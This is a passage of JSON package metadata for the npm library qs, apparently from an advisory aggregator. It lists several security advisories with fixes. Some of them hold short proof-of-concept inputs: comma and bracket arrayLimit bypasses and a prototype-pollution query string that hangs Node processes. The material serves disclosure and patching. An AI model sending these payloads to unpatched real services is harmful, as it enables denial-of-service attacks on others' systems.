(lib/utils.js:195:13)\n//     at Object.maybeMap (lib/utils.js:322:37)\n//     at stringify (lib/stringify.js:145:25)\n```\n\n#### Fix\n\n`lib/stringify.js:145`, applied in 21f80b3 on `main`:\n\n```diff\n- obj = utils.maybeMap(obj, encoder);\n+ obj = utils.maybeMap(obj, function (v) {\n+     return v == null ? v : encoder(v);\n+ });\n```\n\n`null` and `undefined` now pass through `maybeMap` unchanged and reach the `join(',')` step as-is. For `{ a: [null, 'b'] }` this produces `a=,b`, matching the non-`encodeValuesOnly` comma path (which already joins before encoding and produces `a=%2Cb` for the same input). Single-element `[null]` arrays still collapse via the existing `obj.join(',') || null` and remain subject to `skipNulls` / `strictNullHandling` in the main loop.\n\n### Affected versions\n\n`\u003e=6.11.1 \u003c=6.15.1`\n\nThe vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions — including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 — implemented the comma + `encodeValuesOnly` path differently (joining before encoding) and are not affected. Empirically verified across released versions.\n\n### Impact\n\nApplication code that calls `qs.stringify` with both `arrayFormat: 'comma'` and `encodeValuesOnly: true` (both non-default) on input that may contain a `null` or `undefined` array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework's error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The \"kills the worker process\" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled.\n\nThe vulnerable input is a `null` or `undefined` entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal `null`).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-22T17:27:19.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/ljharb/qs/security/advisories/GHSA-q8mj-m7cp-5q26","https://nvd.nist.gov/vuln/detail/CVE-2026-8723","https://github.com/ljharb/qs/commit/21f80b33e5c8b3f7eba1034fff0da4a4a37a1d41","https://github.com/advisories/GHSA-q8mj-m7cp-5q26"],"source_kind":"github","identifiers":["GHSA-q8mj-m7cp-5q26","CVE-2026-8723"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-22T18:00:07.608Z","updated_at":"2026-10-16T20:04:24.994Z","epss_percentage":0.00418,"epss_percentile":0.34566,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xOG1qLW03Y3AtNXEyNs4ABXQl","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xOG1qLW03Y3AtNXEyNs4ABXQl","packages":[{"ecosystem":"npm","package_name":"qs","versions":[{"first_patched_version":"6.15.2","vulnerable_version_range":"\u003e= 6.11.1, \u003c= 6.15.1"}],"purl":"pkg:npm/qs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xOG1qLW03Y3AtNXEyNs4ABXQl/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13N2Z3LW1qd3gtdzg4M84ABSSg","url":"https://github.com/advisories/GHSA-w7fw-mjwx-w883","title":"qs's arrayLimit bypass in comma parsing allows denial of service","description":"### Summary\nThe `arrayLimit` option in qs does not enforce limits for comma-separated values when `comma: true` is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to the bracket notation bypass addressed in GHSA-6rw7-vpxm-498p (CVE-2025-15284).\n\n### Details\nWhen the `comma` option is set to `true` (not the default, but configurable in applications), qs allows parsing comma-separated strings as arrays (e.g., `?param=a,b,c` becomes `['a', 'b', 'c']`). However, the limit check for `arrayLimit` (default: 20) and the optional throwOnLimitExceeded occur after the comma-handling logic in `parseArrayValue`, enabling a bypass. This permits creation of arbitrarily large arrays from a single parameter, leading to excessive memory allocation.\n\n**Vulnerable code** (lib/parse.js: lines ~40-50):\n```js\nif (val \u0026\u0026 typeof val === 'string' \u0026\u0026 options.comma \u0026\u0026 val.indexOf(',') \u003e -1) {\n    return val.split(',');\n}\n\nif (options.throwOnLimitExceeded \u0026\u0026 currentArrayLength \u003e= options.arrayLimit) {\n    throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');\n}\n\nreturn val;\n```\nThe `split(',')` returns the array immediately, skipping the subsequent limit check. Downstream merging via `utils.combine` does not prevent allocation, even if it marks overflows for sparse arrays.This discrepancy allows attackers to send a single parameter with millions of commas (e.g., `?param=,,,,,,,,...`), allocating massive arrays in memory without triggering limits. It bypasses the intent of `arrayLimit`, which is enforced correctly for indexed (`a[0]=`) and bracket (`a[]=`) notations (the latter fixed in v6.14.1 per GHSA-6rw7-vpxm-498p).\n\n### PoC\n**Test 1 - Basic bypass:**\n```\nnpm install qs\n```\n\n```js\nconst qs = require('qs');\n\nconst payload = 'a=' + ','.repeat(25);  // 26 elements after split (bypasses arrayLimit: 5)\nconst options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };\n\ntry {\n  const result = qs.parse(payload, options);\n  console.log(result.a.length);  // Outputs: 26 (bypass successful)\n} catch (e) {\n  console.log('Limit enforced:', e.message);  // Not thrown\n}\n```\n**Configuration:**\n- `comma: true`\n- `arrayLimit: 5`\n- `throwOnLimitExceeded: true`\n\nExpected: Throws \"Array limit exceeded\" error.\nActual: Parses successfully, creating an array of length 26.\n\n\n### Impact\nDenial of Service (DoS) via memory exhaustion.\n\n### Suggested Fix\nMove the `arrayLimit` check before the comma split in `parseArrayValue`, and enforce it on the resulting array length. Use `currentArrayLength` (already calculated upstream) for consistency with bracket notation fixes.\n\n**Current code** (lib/parse.js: lines ~40-50):\n```js\nif (val \u0026\u0026 typeof val === 'string' \u0026\u0026 options.comma \u0026\u0026 val.indexOf(',') \u003e -1) {\n    return val.split(',');\n}\n\nif (options.throwOnLimitExceeded \u0026\u0026 currentArrayLength \u003e= options.arrayLimit) {\n    throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');\n}\n\nreturn val;\n```\n\n**Fixed code:**\n```js\nif (val \u0026\u0026 typeof val === 'string' \u0026\u0026 options.comma \u0026\u0026 val.indexOf(',') \u003e -1) {\n    const splitArray = val.split(',');\n    if (splitArray.length \u003e options.arrayLimit - currentArrayLength) {  // Check against remaining limit\n        if (options.throwOnLimitExceeded) {\n            throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');\n        } else {\n            // Optionally convert to object or truncate, per README\n            return splitArray.slice(0, options.arrayLimit - currentArrayLength);\n        }\n    }\n    return splitArray;\n}\n\nif (options.throwOnLimitExceeded \u0026\u0026 currentArrayLength \u003e= options.arrayLimit) {\n    throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');\n}\n\nreturn val;\n```\nThis aligns behavior with indexed and bracket notations, reuses `currentArrayLength`, and respects `throwOnLimitExceeded`. Update README to note the consistent enforcement.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-02-12T17:04:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/ljharb/qs/security/advisories/GHSA-w7fw-mjwx-w883","https://nvd.nist.gov/vuln/detail/CVE-2026-2391","https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482","https://github.com/advisories/GHSA-w7fw-mjwx-w883"],"source_kind":"github","identifiers":["GHSA-w7fw-mjwx-w883","CVE-2026-2391"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-12T18:00:08.442Z","updated_at":"2026-10-16T20:07:29.591Z","epss_percentage":0.00542,"epss_percentile":0.43894,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13N2Z3LW1qd3gtdzg4M84ABSSg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13N2Z3LW1qd3gtdzg4M84ABSSg","packages":[{"ecosystem":"npm","package_name":"qs","versions":[{"first_patched_version":"6.14.2","vulnerable_version_range":"\u003e= 6.7.0, \u003c= 6.14.1"}],"purl":"pkg:npm/qs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13N2Z3LW1qd3gtdzg4M84ABSSg/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02cnc3LXZweG0tNDk4cM4ABQaB","url":"https://github.com/advisories/GHSA-6rw7-vpxm-498p","title":"qs's arrayLimit bypass in its bracket notation allows DoS via memory exhaustion","description":"### Summary\n\nThe `arrayLimit` option in qs did not enforce limits for bracket notation (`a[]=1\u0026a[]=2`), only for indexed notation (`a[0]=1`). This is a consistency bug; `arrayLimit` should apply uniformly across all array notations.\n\n**Note:** The default `parameterLimit` of 1000 effectively mitigates the DoS scenario originally described. With default options, bracket notation cannot produce arrays larger than `parameterLimit` regardless of `arrayLimit`, because each `a[]=value` consumes one parameter slot. The severity has been reduced accordingly.\n\n### Details\n\nThe `arrayLimit` option only checked limits for indexed notation (`a[0]=1\u0026a[1]=2`) but did not enforce it for bracket notation (`a[]=1\u0026a[]=2`).\n\n**Vulnerable code** (`lib/parse.js:159-162`):\n```javascript\nif (root === '[]' \u0026\u0026 options.parseArrays) {\n    obj = utils.combine([], leaf);  // No arrayLimit check\n}\n```\n\n**Working code** (`lib/parse.js:175`):\n```javascript\nelse if (index \u003c= options.arrayLimit) {  // Limit checked here\n    obj = [];\n    obj[index] = leaf;\n}\n```\n\nThe bracket notation handler at line 159 uses `utils.combine([], leaf)` without validating against `options.arrayLimit`, while indexed notation at line 175 checks `index \u003c= options.arrayLimit` before creating arrays.\n\n### PoC\n\n```javascript\nconst qs = require('qs');\nconst result = qs.parse('a[]=1\u0026a[]=2\u0026a[]=3\u0026a[]=4\u0026a[]=5\u0026a[]=6', { arrayLimit: 5 });\nconsole.log(result.a.length);  // Output: 6 (should be max 5)\n```\n\n**Note on parameterLimit interaction:** The original advisory's \"DoS demonstration\" claimed a length of 10,000, but `parameterLimit` (default: 1000) caps parsing to 1,000 parameters. With default options, the actual output is 1,000, not 10,000.\n\n### Impact\n\nConsistency bug in `arrayLimit` enforcement. With default `parameterLimit`, the practical DoS risk is negligible since `parameterLimit` already caps the total number of parsed parameters (and thus array elements from bracket notation). The risk increases only when `parameterLimit` is explicitly set to a very high value.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-12-30T21:02:54.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L","references":["https://github.com/ljharb/qs/security/advisories/GHSA-6rw7-vpxm-498p","https://nvd.nist.gov/vuln/detail/CVE-2025-15284","https://github.com/ljharb/qs/commit/3086902ecf7f088d0d1803887643ac6c03d415b9","https://github.com/advisories/GHSA-6rw7-vpxm-498p"],"source_kind":"github","identifiers":["GHSA-6rw7-vpxm-498p","CVE-2025-15284"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-12-30T22:00:07.817Z","updated_at":"2026-10-16T20:08:12.281Z","epss_percentage":0.0045,"epss_percentile":0.37555,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cnc3LXZweG0tNDk4cM4ABQaB","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02cnc3LXZweG0tNDk4cM4ABQaB","packages":[{"ecosystem":"npm","package_name":"qs","versions":[{"first_patched_version":"6.14.1","vulnerable_version_range":"\u003c 6.14.1"}],"purl":"pkg:npm/qs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cnc3LXZweG0tNDk4cM4ABQaB/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ocnBwLWg5OTgtajNwcM4AAwDM","url":"https://github.com/advisories/GHSA-hrpp-h998-j3pp","title":"qs vulnerable to Prototype Pollution","description":"qs before 6.10.3 allows attackers to cause a Node process hang because an `__ proto__` key can be used. In many typical web framework use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as `a[__proto__]=b\u0026a[__proto__]\u0026a[length]=100000000`. The fix was backported to qs 6.9.7, 6.8.3, 6.7.3, 6.6.1, 6.5.3, 6.4.1, 6.3.3, and 6.2.4.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-11-27T00:30:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-24999","https://github.com/ljharb/qs/pull/428","https://github.com/n8tz/CVE-2022-24999","https://github.com/ljharb/qs/commit/4310742efbd8c03f6495f07906b45213da0a32ec","https://github.com/ljharb/qs/commit/727ef5d34605108acb3513f72d5435972ed15b68","https://github.com/ljharb/qs/commit/73205259936317b40f447c5cdb71c5b341848e1b","https://github.com/ljharb/qs/commit/8b4cc14cda94a5c89341b77e5fe435ec6c41be2d","https://github.com/ljharb/qs/commit/ba24e74dd17931f825adb52f5633e48293b584e1","https://github.com/ljharb/qs/commit/e799ba57e573a30c14b67c1889c7c04d508b9105","https://github.com/ljharb/qs/commit/ed0f5dcbef4b168a8ae299d78b1e4a2e9b1baf1f","https://github.com/ljharb/qs/commit/f945393cfe442fe8c6e62b4156fd35452c0686ee","https://github.com/ljharb/qs/commit/fc3682776670524a42e19709ec4a8138d0d7afda","https://github.com/expressjs/express/releases/tag/4.17.3","https://lists.debian.org/debian-lts-announce/2023/01/msg00039.html","https://security.netapp.com/advisory/ntap-20230908-0005","https://github.com/advisories/GHSA-hrpp-h998-j3pp"],"source_kind":"github","identifiers":["GHSA-hrpp-h998-j3pp","CVE-2022-24999"],"repository_url":"https://github.com/ljharb/qs","blast_radius":0.0,"created_at":"2022-12-21T16:11:47.023Z","updated_at":"2026-10-22T01:10:15.981Z","epss_percentage":0.15622,"epss_percentile":0.96728,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocnBwLWg5OTgtajNwcM4AAwDM","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ocnBwLWg5OTgtajNwcM4AAwDM","packages":[{"ecosystem":"npm","package_name":"qs","versions":[{"first_patched_version":"6.2.4","vulnerable_version_range":"\u003c 6.2.4"},{"first_patched_version":"6.3.3","vulnerable_version_range":"\u003e= 6.3.0, \u003c 6.3.3"},{"first_patched_version":"6.4.1","vulnerable_version_range":"\u003e= 6.4.0, \u003c 6.4.1"},{"first_patched_version":"6.5.3","vulnerable_version_range":"\u003e= 6.5.0, \u003c 6.5.3"},{"first_patched_version":"6.6.1","vulnerable_version_range":"\u003e= 6.6.0, \u003c 6.6.1"},{"first_patched_version":"6.7.3","vulnerable_version_range":"\u003e= 6.7.0, \u003c 6.7.3"},{"first_patched_version":"6.8.3","vulnerable_version_range":"\u003e= 6.8.0, \u003c 6.8.3"},{"first_patched_version":"6.9.7","vulnerable_version_range":"\u003e= 6.9.0, \u003c 6.9.7"},{"first_patched_version":"6.10.3","vulnerable_version_range":"\u003e= 6.10.0, \u003c 6.10.3"}],"purl":"pkg:npm/qs","statistics":{"dependent_packages_count":15944,"dependent_repos_count":2110964,"downloads":805366012,"downloads_period":"last-month"},"affected_versions":["0.0.1","0.0.2","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.1.0","0.2.0","0.3.0","0.3.1","0.3.2","0.4.0","0.4.1","0.4.2","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","1.0.0","1.0.1","1.0.2","1.1.0","1.2.0","1.2.1","1.2.2","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.2.3","2.2.4","2.2.5","2.3.0","2.3.1","2.3.2","2.3.3","2.4.0","2.4.1","2.4.2","3.0.0","3.1.0","4.0.0","5.0.0","5.1.0","5.2.0","5.2.1","6.0.0","6.0.1","6.0.2","6.0.3","6.0.4","6.0.5","6.0.6","6.1.0","6.1.1","6.1.2","6.1.3","6.1.4","6.2.0","6.2.1","6.2.2","6.2.3","6.3.0","6.3.1","6.3.2","6.4.0","6.5.0","6.5.1","6.5.2","6.6.0","6.7.0","6.7.1","6.7.2","6.8.0","6.8.1","6.8.2","6.9.0","6.9.1","6.9.2","6.9.3","6.9.4","6.9.5","6.9.6","6.10.0","6.10.1","6.10.2"],"unaffected_versions":["6.2.4","6.2.5","6.2.6","6.3.3","6.3.4","6.3.5","6.4.1","6.4.2","6.4.3","6.5.3","6.5.4","6.5.5","6.6.1","6.6.2","6.6.3","6.7.3","6.7.4","6.7.5","6.8.3","6.8.4","6.8.5","6.9.7","6.9.8","6.9.9","6.10.3","6.10.4","6.10.5","6.10.6","6.10.7","6.11.0","6.11.1","6.11.2","6.11.3","6.11.4","6.12.0","6.12.1","6.12.2","6.12.3","6.12.4","6.12.5","6.13.0","6.13.1","6.13.2","6.13.3","6.14.0","6.14.1","6.14.2","6.15.0","6.15.1","6.15.2","6.15.3","6.16.0","6.16.1"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocnBwLWg5OTgtajNwcM4AAwDM/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWdxZ3YtNmpxNS1qamo5","url":"https://github.com/advisories/GHSA-gqgv-6jq5-jjj9","title":"Prototype Pollution Protection Bypass in qs","description":"Affected version of `qs` are vulnerable to Prototype Pollution because it is possible to bypass the protection. The `qs.parse` function fails to properly prevent an object's prototype to be altered when parsing arbitrary input. Input containing `[` or `]` may bypass the prototype pollution protection and alter the Object prototype. This allows attackers to override properties that will exist in all objects, which may lead to Denial of Service or Remote Code Execution in specific circumstances.\n\n\n## Recommendation\n\nUpgrade to 6.0.4, 6.1.2, 6.2.3, 6.3.2 or later.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2020-04-30T17:16:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2017-1000048","https://github.com/ljharb/qs/issues/200","https://github.com/ljharb/qs/commit/beade029171b8cef9cee0d03ebe577e2dd84976d","https://access.redhat.com/errata/RHSA-2017:2672","https://snyk.io/vuln/npm:qs:20170213","https://www.npmjs.com/advisories/1469","https://github.com/advisories/GHSA-gqgv-6jq5-jjj9"],"source_kind":"github","identifiers":["GHSA-gqgv-6jq5-jjj9","CVE-2017-1000048"],"repository_url":"https://github.com/ljharb/qs","blast_radius":0.0,"created_at":"2022-12-21T16:13:24.994Z","updated_at":"2026-10-22T01:16:03.132Z","epss_percentage":0.02415,"epss_percentile":0.83523,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWdxZ3YtNmpxNS1qamo5","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWdxZ3YtNmpxNS1qamo5","packages":[{"ecosystem":"npm","package_name":"qs","versions":[{"first_patched_version":"6.3.2","vulnerable_version_range":"\u003e= 6.3.0, \u003c 6.3.2"},{"first_patched_version":"6.2.3","vulnerable_version_range":"\u003e= 6.2.0, \u003c 6.2.3"},{"first_patched_version":"6.1.2","vulnerable_version_range":"\u003e= 6.1.0, \u003c 6.1.2"},{"first_patched_version":"6.0.4","vulnerable_version_range":"\u003c 6.0.4"}],"purl":"pkg:npm/qs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWdxZ3YtNmpxNS1qamo5/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNydmotM2dqOS1nbTJw","url":"https://github.com/advisories/GHSA-crvj-3gj9-gm2p","title":"High severity vulnerability that affects qs","description":"Withdrawn, accidental duplicate publish.\r\n\r\nThe qs module before 1.0.0 in Node.js does not call the compact function for array data, which allows remote attackers to cause a denial of service (memory consumption) by using a large index value to create a sparse array.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2018-10-09T00:44:29.000Z","withdrawn_at":"2020-06-16T21:32:53.000Z","classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2014-7191","https://github.com/advisories/GHSA-crvj-3gj9-gm2p"],"source_kind":"github","identifiers":["GHSA-crvj-3gj9-gm2p"],"repository_url":null,"blast_radius":0.0,"created_at":"2022-12-21T16:13:35.933Z","updated_at":"2026-10-22T01:16:18.495Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNydmotM2dqOS1nbTJw","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNydmotM2dqOS1nbTJw","packages":[{"ecosystem":"npm","package_name":"qs","versions":[{"first_patched_version":"1.0.0","vulnerable_version_range":"\u003c 1.0.0"}],"purl":"pkg:npm/qs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNydmotM2dqOS1nbTJw/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWY5Y20tcDN3Ni14dnIz","url":"https://github.com/advisories/GHSA-f9cm-p3w6-xvr3","title":"Denial-of-Service Extended Event Loop Blocking in qs","description":"Versions prior to 1.0.0 of `qs` are affected by a denial of service vulnerability that results from excessive recursion in parsing a deeply nested JSON string.\n\n\n\n\n## Recommendation\n\nUpdate to version 1.0.0 or later","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2018-10-09T00:38:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2014-10064","https://github.com/advisories/GHSA-f9cm-p3w6-xvr3","https://www.npmjs.com/advisories/28"],"source_kind":"github","identifiers":["GHSA-f9cm-p3w6-xvr3","CVE-2014-10064"],"repository_url":null,"blast_radius":0.0,"created_at":"2022-12-21T16:13:35.943Z","updated_at":"2026-10-22T01:16:18.495Z","epss_percentage":0.01377,"epss_percentile":0.71617,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWY5Y20tcDN3Ni14dnIz","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWY5Y20tcDN3Ni14dnIz","packages":[{"ecosystem":"npm","package_name":"qs","versions":[{"first_patched_version":"1.0.0","vulnerable_version_range":"\u003c 1.0.0"}],"purl":"pkg:npm/qs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWY5Y20tcDN3Ni14dnIz/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWpqdjctcXB4My1oNjJx","url":"https://github.com/advisories/GHSA-jjv7-qpx3-h62q","title":"Denial-of-Service Memory Exhaustion in qs","description":"Versions prior to 1.0 of `qs` are affected by a denial of service condition. This condition is triggered by parsing a crafted string that deserializes into very large sparse arrays, resulting in the process running out of memory and eventually crashing.\n\n\n## Recommendation\n\nUpdate to version 1.0.0 or later.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2017-10-24T18:33:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2014-7191","https://github.com/visionmedia/node-querystring/issues/104","https://github.com/advisories/GHSA-jjv7-qpx3-h62q","https://www.npmjs.com/advisories/29","https://github.com/raymondfeng/node-querystring/commit/43a604b7847e56bba49d0ce3e222fe89569354d8","https://access.redhat.com/errata/RHSA-2016:1380","https://exchange.xforce.ibmcloud.com/vulnerabilities/96729","http://secunia.com/advisories/60026","http://secunia.com/advisories/62170","http://www-01.ibm.com/support/docview.wss?uid=swg21685987","http://www-01.ibm.com/support/docview.wss?uid=swg21687263","http://www-01.ibm.com/support/docview.wss?uid=swg21687928"],"source_kind":"github","identifiers":["GHSA-jjv7-qpx3-h62q","CVE-2014-7191"],"repository_url":"https://github.com/visionmedia/node-querystring","blast_radius":0.0,"created_at":"2022-12-21T16:13:38.979Z","updated_at":"2026-10-22T01:16:21.246Z","epss_percentage":0.08309,"epss_percentile":0.94501,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWpqdjctcXB4My1oNjJx","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWpqdjctcXB4My1oNjJx","packages":[{"ecosystem":"npm","package_name":"qs","versions":[{"first_patched_version":"1.0.0","vulnerable_version_range":"\u003c 1.0.0"}],"purl":"pkg:npm/qs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWpqdjctcXB4My1oNjJx/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/qs","docker_dependents_count":60282,"docker_downloads_count":9070134413,"usage_url":"https://repos.ecosyste.ms/usage/npm/qs","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/qs/dependencies","status":null,"funding_links":["https://github.com/sponsors/ljharb","https://ko-fi.com/ljharb","https://thanks.dev/ljharb"],"critical":true,"issue_metadata":{"last_synced_at":"2026-10-21T09:30:29.014Z","issues_count":127,"pull_requests_count":145,"avg_time_to_close_issue":9398207.772151899,"avg_time_to_close_pull_request":11084552.177966101,"issues_closed_count":79,"pull_requests_closed_count":118,"pull_request_authors_count":78,"issue_authors_count":120,"avg_comments_per_issue":5.866141732283465,"avg_comments_per_pull_request":2.179310344827586,"merged_pull_requests_count":48,"bot_issues_count":1,"bot_pull_requests_count":1,"past_year_issues_count":13,"past_year_pull_requests_count":81,"past_year_avg_time_to_close_issue":2261520.625,"past_year_avg_time_to_close_pull_request":2053962.9571428571,"past_year_issues_closed_count":8,"past_year_pull_requests_closed_count":70,"past_year_pull_request_authors_count":35,"past_year_issue_authors_count":10,"past_year_avg_comments_per_issue":4.384615384615385,"past_year_avg_comments_per_pull_request":0.9135802469135802,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":1,"past_year_merged_pull_requests_count":18,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/issues","maintainers":[{"login":"ljharb","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ljharb"}],"active_maintainers":[{"login":"ljharb","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ljharb"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/qs/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/qs/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/qs/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/qs/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/qs/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/qs/codemeta","maintainers":[{"uuid":"nlf","login":"nlf","name":null,"email":"quitlahok@gmail.com","url":null,"packages_count":311,"html_url":"https://www.npmjs.com/~nlf","role":null,"created_at":"2022-11-10T11:28:49.800Z","updated_at":"2022-11-10T11:28:49.800Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/nlf/packages"},{"uuid":"ljharb","login":"ljharb","name":null,"email":"ljharb@gmail.com","url":null,"packages_count":569,"html_url":"https://www.npmjs.com/~ljharb","role":null,"created_at":"2022-11-10T11:28:49.797Z","updated_at":"2022-11-10T11:28:49.797Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/ljharb/packages"}]}